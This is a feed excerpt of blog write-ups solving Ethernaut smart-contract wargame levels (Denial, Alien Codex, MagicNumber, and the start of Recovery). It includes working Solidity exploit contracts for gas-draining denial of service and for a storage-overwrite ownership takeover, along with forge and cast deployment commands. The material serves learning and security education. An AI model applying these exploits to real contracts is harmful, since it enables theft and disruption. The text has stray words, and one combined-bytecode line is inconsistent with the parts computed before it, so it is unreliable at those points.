<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"../instances/Ilevel20.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">DenialHack</span> </span>{
    Denial level20 <span class="hljs-operator">=</span> Denial(<span class="hljs-number">0x1bd442053Af3e571eBbe11809F3cd207A0466A45</span>);

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        level20.setWithdrawPartner(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));
    }

    <span class="hljs-function"><span class="hljs-keyword">receive</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>) {}
    }
}
</code></pre>
<p>In the code shown above, we have created a constructor which is calling the <code>setWithdrawPartner()</code> to make the address of our deployed contract the partner. </p>
<p>A <code>receive()</code> function is also defined which has an infinite loop. This will help us in draining all the gas. </p>
<p>We will deploy the contract using:</p>
<pre><code>forge create DenialHack <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-keyword">private</span><span class="hljs-operator">-</span>key $PKEY <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url $RPC_URL
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1662227850728/B7qlZcrTg.png" alt="image.png" /></p>
<p>The instance can now be submitted to finish the level. The owner will try to call the <code>withdraw()</code> function but the execution will go to our <code>receive()</code> function and will drain all the gas leading to a failed transaction. </p>
<blockquote>
<p>My <strong>Github Repository</strong> containing all the codes: github.com/az0mb13/ethernaut-foundry</p>
<p>My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut</p>
</blockquote>
<hr />
<h2 id="heading-takeaways">Takeaways</h2>
<p>Always check the return value of low-level calls, especially in cases where the called address is controlled by a third party. </p>
]]></content:encoded></item><item><title><![CDATA[Ethernaut Level 19 - Alien Codex]]></title><description><![CDATA[Objectives
Our only objective here is to become the owner of the contract. To complete this level, we must know the concept of dynamic arrays and how their slot packing works, along with overflows and underflows. Let's dive in.

Analysis
// SPDX-Lice...]]></description><link>https://blog.dixitaditya.com/ethernaut-level-19-alien-codex</link><guid isPermaLink="true">https://blog.dixitaditya.com/ethernaut-level-19-alien-codex</guid><category><![CDATA[Ethernaut]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Security]]></category><category><![CDATA[Web3]]></category><category><![CDATA[Ethereum]]></category><dc:creator><![CDATA[Aditya Dixit]]></dc:creator><pubDate>Sat, 03 Sep 2022 15:33:22 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1662219021376/2HssDzN66.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-objectives">Objectives</h2>
<p>Our only objective <a target="_blank" href="https://ethernaut.openzeppelin.com/level/0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272">here</a> is to become the owner of the contract. To complete this level, we must know the concept of dynamic arrays and how their slot packing works, along with overflows and underflows. Let's dive in.</p>
<hr />
<h2 id="heading-analysis">Analysis</h2>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.5.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">'../helpers/Ownable-05.sol'</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">AlienCodex</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Ownable</span> </span>{

  <span class="hljs-keyword">bool</span> <span class="hljs-keyword">public</span> contact;
  <span class="hljs-keyword">bytes32</span>[] <span class="hljs-keyword">public</span> codex;

  <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">contacted</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-built_in">assert</span>(contact);
    <span class="hljs-keyword">_</span>;
  }retract

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">make_contact</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    contact <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">record</span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> _content</span>) <span class="hljs-title">contacted</span> <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
      codex.<span class="hljs-built_in">push</span>(_content);
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">retract</span>(<span class="hljs-params"></span>) <span class="hljs-title">contacted</span> <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    codex.<span class="hljs-built_in">length</span>-<span class="hljs-operator">-</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">revise</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> i, <span class="hljs-keyword">bytes32</span> _content</span>) <span class="hljs-title">contacted</span> <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    codex[i] <span class="hljs-operator">=</span> _content;
  }
}
</code></pre>
<p>We can see in the above contract that there's no <code>owner</code> variable. This is because it is coming from the inherited <code>Ownable</code> contract. If we look into the <code>Ownable.sol</code>, we can see that the variable <code>address private _owner;</code> is defined in the slot 0 of the contract. 
retract</p>
<pre><code class="lang-solidity"><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.5.0;</span>

<span class="hljs-comment">// some comments</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Ownable</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">private</span> _owner;
...
</code></pre>
<p>Now that that's clear, let's learn how dynamic arrays work. </p>
<p>Assuming the dynamic array starts at a slot location <code>p</code>, then the slot <code>p</code> will contain the total number of elements stored in the array, and the actual array data will be stored at <code>keccack256(p)</code>. More info on this can be found in the <a target="_blank" href="https://docs.soliditylang.org/en/v0.8.13/internals/layout_in_storage.html#mappings-and-dynamic-arrays">Solidity Docs</a>.  </p>
<p>Let's go through the organization of the storage layout in our vulnerable contract:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Slot Number</td><td>Variables</td></tr>
</thead>
<tbody>
<tr>
<td>0</td><td><code>bool public contact</code> and <code>address private _owner</code> (both are in slot 0)</td></tr>
<tr>
<td>1</td><td>codex.length (Number of elements in the dynamic array</td></tr>
<tr>
<td>..</td><td>..</td></tr>
<tr>
<td>..</td><td>..</td></tr>
<tr>
<td>keccak256(1)</td><td>codex[0] (Array's first element)</td></tr>
<tr>
<td>keccak256(2) + 1</td><td>codex[1] (Array's second element)</td></tr>
<tr>
<td>..</td><td>..</td></tr>
<tr>
<td>..</td><td>..</td></tr>
<tr>
<td>2<sup>256</sup> - 1</td><td>codex[2<sup>256</sup> - 1 - unit(keccack256(1))</td></tr>
<tr>
<td>0</td><td>codex[2<sup>256</sup> - 1 - unit(keccack256(1)) + 1 (slot 0 access, remember overflows?)</td></tr>
</tbody>
</table>
</div><p>To finish the level we need to do the following steps:</p>
<ol>
<li>Call the <code>make_contact()</code> function so that the <code>contact</code> is set to <code>true</code>. This will allow us to go through the <code>contacted()</code> modifier. </li>
<li>Call the <code>retract()</code> function. This will decrease the <code>codex.length</code> by 1. And what happens when you subtract 1 from 0 (initial array position)? You get an underflow. This will change the <code>codex.length</code> to be 2<sup>256</sup> which is also the total storage capacity of the contract. This will now allow us access to any variables stored in the contract. </li>
<li>Call the <code>revise()</code> function to access the array at slot 0 and update the value of the <code>_owner</code> with our own address. The index <code>i</code> can be calculated as shown in the slot table above. </li>
</ol>
<pre><code class="lang-solidity"><span class="hljs-keyword">uint</span> index <span class="hljs-operator">=</span> ((<span class="hljs-number">2</span> <span class="hljs-operator">*</span><span class="hljs-operator">*</span> <span class="hljs-number">256</span>) <span class="hljs-operator">-</span> <span class="hljs-number">1</span>) <span class="hljs-operator">-</span> <span class="hljs-keyword">uint</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encode</span>(<span class="hljs-number">1</span>))) <span class="hljs-operator">+</span> <span class="hljs-number">1</span>;
</code></pre>
<p>The <code>_content</code> is of type <code>bytes32</code> which means we need to convert our address to <code>bytes32</code>. This can be done using the following code:</p>
<pre><code class="lang-solidity"><span class="hljs-keyword">bytes32</span> myAddress <span class="hljs-operator">=</span> <span class="hljs-keyword">bytes32</span>(<span class="hljs-keyword">uint256</span>(<span class="hljs-keyword">uint160</span>(<span class="hljs-built_in">tx</span>.<span class="hljs-built_in">origin</span>)));
</code></pre>
<hr />
<h2 id="heading-the-exploit">The Exploit</h2>
<p>Here's how the <a target="_blank" href="https://github.com/az0mb13/ethernaut-foundry/blob/master/src/level19.sol">exploit code</a> looks:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.5.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"../instances/Ilevel19.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">AlienHack</span> </span>{
    AlienCodex level19 <span class="hljs-operator">=</span> AlienCodex(<span class="hljs-number">0x752dD58810d09984504e080098A0c3Cf26C9093e</span>);

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">exploit</span> (<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">uint</span> index <span class="hljs-operator">=</span> ((<span class="hljs-number">2</span> <span class="hljs-operator">*</span><span class="hljs-operator">*</span> <span class="hljs-number">256</span>) <span class="hljs-operator">-</span> <span class="hljs-number">1</span>) <span class="hljs-operator">-</span> <span class="hljs-keyword">uint</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encode</span>(<span class="hljs-number">1</span>))) <span class="hljs-operator">+</span> <span class="hljs-number">1</span>;
        <span class="hljs-keyword">bytes32</span> myAddress <span class="hljs-operator">=</span> <span class="hljs-keyword">bytes32</span>(<span class="hljs-keyword">uint256</span>(<span class="hljs-keyword">uint160</span>(<span class="hljs-built_in">tx</span>.<span class="hljs-built_in">origin</span>)));
        level19.make_contact();
        level19.retract();
        level19.revise(index, myAddress);
    }
}
</code></pre>
<p>We are calculating the index on which the slot 0 exists, converting our address to <code>bytes32</code>. The function <code>retract()</code> is called to underflow the array and then it is updated using the <code>revise()</code> function which is storing our address into the <code>_owner</code> variable in slot 0. </p>
<p>Let's deploy the contract using the following command:</p>
<pre><code>forge create AlienHack <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-keyword">private</span><span class="hljs-operator">-</span>key $PKEY <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url $RPC_URL
</code></pre><p>and call our <code>exploit()</code> function which will make us the owner:</p>
<pre><code><span class="hljs-attribute">cast</span> send <span class="hljs-number">0</span>xb<span class="hljs-number">8131</span>b<span class="hljs-number">26</span>fa<span class="hljs-number">82</span>A<span class="hljs-number">0</span>d<span class="hljs-number">09</span>fd<span class="hljs-number">7</span>Aa<span class="hljs-number">186</span>F<span class="hljs-number">7157418774</span>e<span class="hljs-number">192</span> <span class="hljs-string">"exploit()"</span> --private-key $PKEY --rpc-url $RPC_URL
</code></pre><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1662218893334/ukHl7CsNX.png" alt="image.png" /></p>
<p>We can check the new owner through the console using <code>await contract.owner()</code>. The instance can now be submitted to finish the level. </p>
<blockquote>
<p>My <strong>Github Repository</strong> containing all the codes: github.com/az0mb13/ethernaut-foundry</p>
<p>My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut</p>
</blockquote>
<hr />
<h2 id="heading-takeaways">Takeaways</h2>
<p>Never allow modification of the array length of a dynamic array as they can overwrite the whole contract's storage using overflows and underflows. </p>
<hr />
<h4 id="heading-references">References</h4>
<ul>
<li>https://docs.soliditylang.org/en/v0.8.13/internals/layout_in_storage.html#mappings-and-dynamic-arrays</li>
<li>https://listed.to/@r1oga/13892/ethernaut-levels-19-to-21#AlienCodex</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Ethernaut Level 18 - MagicNumber]]></title><description><![CDATA[Objectives
This level wants us to provide it with a magic number that will magically solve the instance, but our code size should only be 10 opcodes. 
To get through this level, we must know the fabled assembly. Let's dive in.

Analysis
To solve this...]]></description><link>https://blog.dixitaditya.com/ethernaut-level-18-magicnumber</link><guid isPermaLink="true">https://blog.dixitaditya.com/ethernaut-level-18-magicnumber</guid><category><![CDATA[Ethernaut]]></category><category><![CDATA[Security]]></category><category><![CDATA[Web3]]></category><category><![CDATA[Ethereum]]></category><category><![CDATA[Solidity]]></category><dc:creator><![CDATA[Aditya Dixit]]></dc:creator><pubDate>Fri, 02 Sep 2022 19:38:44 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1662147494200/InqZ_5Smw.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-objectives">Objectives</h2>
<p>This <a target="_blank" href="https://ethernaut.openzeppelin.com/level/0x200d3d9Ac7bFd556057224e7aEB4161fED5608D0">level</a> wants us to provide it with a magic number that will magically solve the instance, but our code size should only be 10 opcodes. </p>
<p>To get through this level, we must know the fabled assembly. Let's dive in.</p>
<hr />
<h2 id="heading-analysis">Analysis</h2>
<p>To solve this, there's a size restriction of 10 opcodes, i.e., 10 bytes since each opcode is 1 byte. Therefore, our solver should be of at most 10 bytes and it should return 42 (0x2a). </p>
<p>We need to write two sets of bytecodes:</p>
<ol>
<li>Initialization bytecode: It is responsible for preparing the contract and returning the runtime bytecode. </li>
<li>Runtime bytecode: This is the actual code run after the contract creation. In other words, this contains the logic of the contract. </li>
</ol>
<p>Let's look at the Runtime opcodes first. We are using Ethereum <a target="_blank" href="https://ethereum.org/en/developers/docs/evm/opcodes">Docs</a> for opcode reference. </p>
<hr />
<h3 id="heading-runtime-opcodes">Runtime Opcodes</h3>
<p>We need to do the following steps to create our runtime opcode:</p>
<ol>
<li><p>Push and store our value (0x2a) in the memory</p>
<p> To store the value, we'll use MSTORE(p, v) where <code>p</code> is the position or offset and <code>v</code> is the value. Since MSTORE expects the value to be already stored in the memory, we need to push it first using the PUSH1(value) opcode. We have to push both the value and the position where it'll be stored in the memory, therefore, we'll need 2 PUSH1 opcodes. </p>
<pre><code> <span class="hljs-attribute">1</span>. <span class="hljs-number">0</span>x<span class="hljs-number">60</span> - PUSH<span class="hljs-number">1</span> --&gt; PUSH(<span class="hljs-number">0</span>x<span class="hljs-number">2</span>a) --&gt; <span class="hljs-number">0</span>x<span class="hljs-number">602</span>a (Pushing <span class="hljs-number">2</span>a or <span class="hljs-number">42</span>)
 <span class="hljs-attribute">2</span>. <span class="hljs-number">0</span>x<span class="hljs-number">60</span> - PUSH<span class="hljs-number">1</span> --&gt; PUSH(<span class="hljs-number">0</span>x<span class="hljs-number">80</span>) --&gt; <span class="hljs-number">0</span>x<span class="hljs-number">6080</span> (Pushing an arbitrary selected memory slot <span class="hljs-number">80</span>)
 <span class="hljs-attribute">3</span>. <span class="hljs-number">0</span>x<span class="hljs-number">52</span> - MSTORE --&gt; MSTORE --&gt; <span class="hljs-number">0</span>x<span class="hljs-number">52</span> (Store value p=<span class="hljs-number">0</span>x<span class="hljs-number">2</span>a at position v=<span class="hljs-number">0</span>x<span class="hljs-number">80</span> in memory)
</code></pre></li>
<li><p>Return the stored value</p>
<p> Once we are done with the PUSH and MSTORE, it's time to return the value using RETURN(p, s) where <code>p</code> is the offset or position of our data stored in the memory and <code>s</code> is the length/size of our stored data. Therefore, we'll again need 2 PUSH1 opcodes. </p>
<pre><code> <span class="hljs-attribute">1</span>. <span class="hljs-number">0</span>x<span class="hljs-number">60</span> - PUSH<span class="hljs-number">1</span> --&gt; PUSH(<span class="hljs-number">0</span>x<span class="hljs-number">20</span>) --&gt; <span class="hljs-number">0</span>x<span class="hljs-number">6020</span> (Size of value is <span class="hljs-number">32</span> bytes)
 <span class="hljs-attribute">2</span>. <span class="hljs-number">0</span>x<span class="hljs-number">60</span> - PUSH<span class="hljs-number">1</span> --&gt; PUSH(<span class="hljs-number">0</span>x<span class="hljs-number">80</span>) --&gt; <span class="hljs-number">0</span>x<span class="hljs-number">6080</span> (Value was stored in slot <span class="hljs-number">0</span>x<span class="hljs-number">80</span>)
 <span class="hljs-attribute">3</span>. <span class="hljs-number">0</span>xf<span class="hljs-number">3</span> - RETURN --&gt; RETURN --&gt; <span class="hljs-number">0</span>xf<span class="hljs-number">3</span> (Return value at p=<span class="hljs-number">0</span>x<span class="hljs-number">80</span> slot and of size s=<span class="hljs-number">0</span>x<span class="hljs-number">20</span>)
</code></pre></li>
</ol>
<p>We can obtain the value of bytecodes from the Docs mentioned above. Our final runtime opcode will be: <code>602a60805260206080f3</code>.</p>
<hr />
<h3 id="heading-initialization-opcode">Initialization Opcode</h3>
<p>Let's take a look at the initialization opcode needed. These will be responsible for loading our runtime opcodes in memory and returning it to the EVM. </p>
<p>To copy code, we need to use the CODECOPY(t, f, s) opcode which takes 3 arguments. </p>
<ul>
<li><code>t</code>: The destination offset where the code will be in memory. Let's save this to 0x00 offset. </li>
<li><code>f</code>: This is the current position of the runtime opcode which is not known as of now. </li>
<li><code>s</code>: This is the size of the runtime code in bytes, i.e., <code>602a60805260206080f3</code> - 10 bytes long. </li>
</ul>
<pre><code><span class="hljs-number">1.</span> <span class="hljs-number">0x60</span> <span class="hljs-operator">-</span> PUSH1 <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">&gt;</span> PUSH(<span class="hljs-number">0x0a</span>) <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">&gt;</span> <span class="hljs-number">0x600a</span> (`s<span class="hljs-operator">=</span><span class="hljs-number">0x0a</span>` or <span class="hljs-number">10</span> <span class="hljs-keyword">bytes</span>)
<span class="hljs-number">2.</span> <span class="hljs-number">0x60</span> <span class="hljs-operator">-</span> PUSH1 <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">&gt;</span> PUSH(0x??) <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">&gt;</span> <span class="hljs-number">0x60</span>?? (`f` <span class="hljs-operator">-</span> This <span class="hljs-keyword">is</span> not known yet)
<span class="hljs-number">3.</span> <span class="hljs-number">0x60</span> <span class="hljs-operator">-</span> PUSH1 <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">&gt;</span> PUSH(<span class="hljs-number">0x00</span>) <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">&gt;</span> <span class="hljs-number">0x6000</span> (`t<span class="hljs-operator">=</span><span class="hljs-number">0x00</span>` <span class="hljs-operator">-</span> arbitrary chosen <span class="hljs-keyword">memory</span> location)
<span class="hljs-number">4.</span> <span class="hljs-number">0x39</span> <span class="hljs-operator">-</span> CODECOPY <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">&gt;</span> CODECOPY <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">&gt;</span> <span class="hljs-number">0x39</span> (Calling the CODECOPY with all the arguments)
</code></pre><p>Now, to return the runtime opcode to the EVM: </p>
<pre><code><span class="hljs-attribute">1</span>. <span class="hljs-number">0</span>x<span class="hljs-number">60</span> - PUSH<span class="hljs-number">1</span> --&gt; PUSH(<span class="hljs-number">0</span>x<span class="hljs-number">0</span>a) --&gt; <span class="hljs-number">0</span>x<span class="hljs-number">600</span>a (Size of opcode is <span class="hljs-number">10</span> bytes)
<span class="hljs-attribute">2</span>. <span class="hljs-number">0</span>x<span class="hljs-number">60</span> - PUSH<span class="hljs-number">1</span> --&gt; PUSH(<span class="hljs-number">0</span>x<span class="hljs-number">00</span>) --&gt; <span class="hljs-number">0</span>x<span class="hljs-number">6000</span> (Value was stored in slot <span class="hljs-number">0</span>x<span class="hljs-number">00</span>)
<span class="hljs-attribute">3</span>. <span class="hljs-number">0</span>xf<span class="hljs-number">3</span> - RETURN --&gt; RETURN --&gt; <span class="hljs-number">0</span>xf<span class="hljs-number">3</span> (Return value at p=<span class="hljs-number">0</span>x<span class="hljs-number">00</span> slot and of size s=<span class="hljs-number">0</span>x<span class="hljs-number">0</span>a)
</code></pre><p>The bytecode for the Initialization opcode will become <code>600a60__600039600a6000f3</code> which is 12 bytes in total. This means the missing value for the starting position for the runtime opcode <code>f</code> will be index 12 or 0x0c, making our final bytecode <code>600a600c600039600a6000f3</code>.</p>
<p>Once we have both the bytecodes, we can combine them to get the final bytecode which can be used to deploy the contract. 
<code>602a60805260206080f3</code> + <code>600a600c600039600a6000f3</code> = <code>600a600c600039600a6000f3602a60505260206050f3</code></p>
<hr />
<h2 id="heading-the-exploit">The Exploit</h2>
<p>Here's what our <a target="_blank" href="https://github.com/az0mb13/ethernaut-foundry/blob/master/script/level18.sol">exploit script</a> looks like:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"forge-std/Script.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"../instances/Ilevel18.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">POC</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Script</span> </span>{

    MagicNum level18 <span class="hljs-operator">=</span> MagicNum(<span class="hljs-number">0x636f1d8922D192D9F3d894C89EA83f4d34921e1E</span>);
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>{
        vm.startBroadcast();
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> code <span class="hljs-operator">=</span> <span class="hljs-string">"\x60\x0a\x60\x0c\x60\x00\x39\x60\x0a\x60\x00\xf3\x60\x2a\x60\x80\x52\x60\x20\x60\x80\xf3"</span>;
        <span class="hljs-keyword">address</span> solver;

        <span class="hljs-keyword">assembly</span> {
            solver <span class="hljs-operator">:=</span> <span class="hljs-built_in">create</span>(<span class="hljs-number">0</span>, <span class="hljs-built_in">add</span>(code, <span class="hljs-number">0x20</span>), <span class="hljs-built_in">mload</span>(code))
        }
        level18.setSolver(solver);
        vm.stopBroadcast();
    }
}
</code></pre>
<p>We are storing the bytecode generated above in a <code>code</code> parameter. Using assembly, we are creating a <code>solver</code> contract. The <code>create</code> opcode takes 3 inputs - value, offset, and length and returns an address of the deployed contract which is then passed into the <code>setSolver()</code> function of the Ethernaut's instance. </p>
<p>Let's execute the script using the following command:</p>
<pre><code>forge script ./script<span class="hljs-operator">/</span>level18.sol <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-keyword">private</span><span class="hljs-operator">-</span>key $PKEY <span class="hljs-operator">-</span><span class="hljs-operator">-</span>broadcast <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url $RPC_URL <span class="hljs-operator">-</span>vvvv
</code></pre><p>We can see that 10 bytes of code are generated on the new address. The instance can now be submitted to finish the level. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1662146852496/UT_iRV8Ti.png" alt="image.png" /></p>
<blockquote>
<p>My <strong>Github Repository</strong> containing all the codes: github.com/az0mb13/ethernaut-foundry</p>
<p>My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut</p>
</blockquote>
<hr />
<h2 id="heading-takeaways">Takeaways</h2>
<p>The contract's business logic and gas usage can heavily be customized by directly coding in the assembly language but it might also introduce a range of vulnerabilities so special attention must be paid before using it in production code. </p>
<hr />
<h4 id="heading-references">References</h4>
<ul>
<li>https://issuecloser.com/blog/ethernaut-hacks-level-18-magic-number</li>
<li>https://ethereum.org/en/developers/docs/evm/opcodes/</li>
<li>https://ethereum.stackexchange.com/questions/48986/append-address-to-bytecode-and-then-deploy-it</li>
<li>https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/ba9058d7f800fc62289cf28ed3c31afdd0e53ad5/src/test/MagicNum.t.sol</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Ethernaut Level 17 - Recovery]]></title><description><![CDATA[Objectives
This level is a token factory contract. The creator has created a new contract using the Recovery Factory contract and deposited some Ether into the newly created contract. They forgot the address of this new contract and our job is to fin...]]></description><link>https://blog.dixitaditya.com/ethernaut-level-17-recovery</link><guid isPermaLink="true">https://blog.dixitaditya.com/ethernaut-level-17-recovery</guid><category><![CDATA[Ethernaut]]></category><category><![CDATA[Security]]></category><category><![CDATA[Web3]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Ethereum]]></category><dc:creator><![CDATA[Aditya Dixit]]></dc:creator><pubDate>Sun, 28 Aug 2022 16:02:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1661702384191/nnLyAMlR_.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-objectives">Objectives</h2>
<p>This level is a token factory contract. The creator has created a new contract using the Recovery Factory contract and deposited some Ether into the newly created contract. They forgot the address of this new contract and our job is to find this lost contract and withdraw the deposited Ether. </p>
<p>We will do this level in two different ways, by using Etherscan and by calculating the address of the lost contract. Let's dive in.</p>
<hr />
<h2 id="heading-analysis">Analysis</h2>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">destroy</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span> _to</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-built_in">selfdestruct</span>(_to);
}
</code></pre>
<p>As it is evident from the question, we need to find the lost contract address. Once this is found, we can just call the <code>destroy()</code> function on the contract to withdraw the funds since the visibility is set to <code>public</code>. Let's derive the lost address. </p>
<h3 id="heading-method-1-using-the-formula">Method 1 - Using the Formula</h3>
<p>According to the Ethereum Yellow Paper - </p>
<blockquote>
<p>The address of the new account is defined as being the rightmost 160 bits of the Keccak hash of the RLP encoding of the structure containing only the sender and the account nonce.</p>
</blockquote>
<p>This means that the new address will be the rightmost 160 bits of the keccak256 hash of RLP encoding of sender/creator_address and their nonce. </p>
<ul>
<li>sender address - It is the address that created the contract.</li>
<li>nonce - It is the number of contracts created by the factory contract or if it's an EOA, it will be the number of transactions by that account. In this case, it will be 1 assuming it is the first contract created by the factory. </li>
<li>RLP - The purpose of RLP is to encode arbitrarily nested arrays of binary data, and RLP is the primary encoding method used to serialize objects in Ethereum's execution layer. <ul>
<li>RLP for 20 byte address will be <code>0xd6, 0x94</code> according to the following sources: <a target="_blank" href="https://ethereum.stackexchange.com/questions/760/how-is-the-address-of-an-ethereum-contract-computed">here</a>, and <a target="_blank" href="https://ethereum.org/en/developers/docs/data-structures-and-encoding/rlp">here</a>. </li>
<li>RLP encoding for nonce 1 will be <code>0x01</code> because for all values under [0x00, 0x7f] (decimal [0, 127]) range, that byte is its own RLP encoding.</li>
</ul>
</li>
</ul>
<p>Now that we know the above values, we can calculate the first address created by the factory contract as:</p>
<pre><code><span class="hljs-keyword">address</span> lostcontract <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-keyword">uint160</span>(<span class="hljs-keyword">uint256</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(<span class="hljs-keyword">bytes1</span>(<span class="hljs-number">0xd6</span>), <span class="hljs-keyword">bytes1</span>(<span class="hljs-number">0x94</span>), <span class="hljs-keyword">address</span>(<span class="hljs-operator">&lt;</span>creator_address<span class="hljs-operator">&gt;</span>), <span class="hljs-keyword">bytes1</span>(<span class="hljs-number">0x01</span>))))));
</code></pre><h3 id="heading-method-2-using-etherscan">Method 2 - Using Etherscan</h3>
<p>This is preferably the easiest method as you won't need to know any calculations and formulas to find the address because the block explorer will show it to you. </p>
<p>Go to <a target="_blank" href="https://rinkeby.etherscan.io/address/0xd89bEAe5D371Bc79754623f7f789a395F3D83b3C#internaltx">Etherscan</a> and enter the instance address in the search field and look inside the internal transactions. </p>
<p>The transaction flow can be seen creating another contract from the address of the first one. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1661699195981/-G3j7Oupr.png" alt="image.png" /></p>
<p>This is the address that was lost containing 0.001 Ether stored in it:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1661699266801/CsUVwGwgd.png" alt="image.png" /></p>
<hr />
<h2 id="heading-the-exploit">The Exploit</h2>
<p>Here's how our <a target="_blank" href="https://github.com/az0mb13/ethernaut-foundry/blob/master/script/level17.sol">exploit script</a> in foundry looks:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
